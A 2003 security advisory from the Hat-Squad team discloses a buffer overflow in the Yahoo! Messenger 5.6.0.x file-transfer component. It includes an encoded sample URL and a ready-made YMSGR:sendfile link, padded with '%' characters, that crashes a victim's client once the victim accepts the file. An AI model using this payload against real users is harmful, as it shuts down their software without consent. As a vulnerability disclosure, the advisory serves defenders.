Buffer Overflow in Yahoo messenger Client

[Hat-Squad Security Team <service@hat-squad.com>]

Date:
Oct 26, 2003

Title:
Buffer Overflow in Yahoo messenger Client

Vulnerable systems:
Yahoo! Messenger version 5.6.0.X
 
Summary:
Vulnerability in Yahoo Messenger File Transfer option allows a remote attacker 
to shut down the victim client.

Details:
The Yahoo messenger service filters some special characters in YahooID field 
like (x,&,?).When attacker initiates a file send 

request to victimID%%%%%%%%%(more than 73 chars), the service filters % chars 
and prompts "victimID" for an incoming file 

transfer session.If victim accepts the incoming file, his client will be shut 
down with access violation error. The access 

violation accurse in FT.DLL that is responsible for p2p YM file transfers.

sample download URL that the  attacker client sends to victim machine :

http://10.10.10.1:81/Messenger.victimid%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25.1066206307331File.txt?AppID=Messenger&UserID=victimid%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25&K=lc9ly5954h9doeawsg31h9tgta6c7dtod8bqxrt2vykgw5e5j9dao0o9doeawsg31h9t8vey6uq19
6y 14  53 
Messenger.vicitimid%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.1066377306549File.TXT

the above url is encoded.

Example:
Use this link 
YMSGR:sendfile?[victim_yahooID]+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&c%c:\[somefile]
while you are logged into YM(note that the length of victim_yahooID plus %(or ? 
or &) chars must be more than 73 chars.)
It will fire a YM file transfer window.if the victim accepts your file,his 
client will be closed.

Found by:
Pejman davarzany   
pejman@hat-squad.com
Hat-Squad Security Research Team (www.hat-squad.com)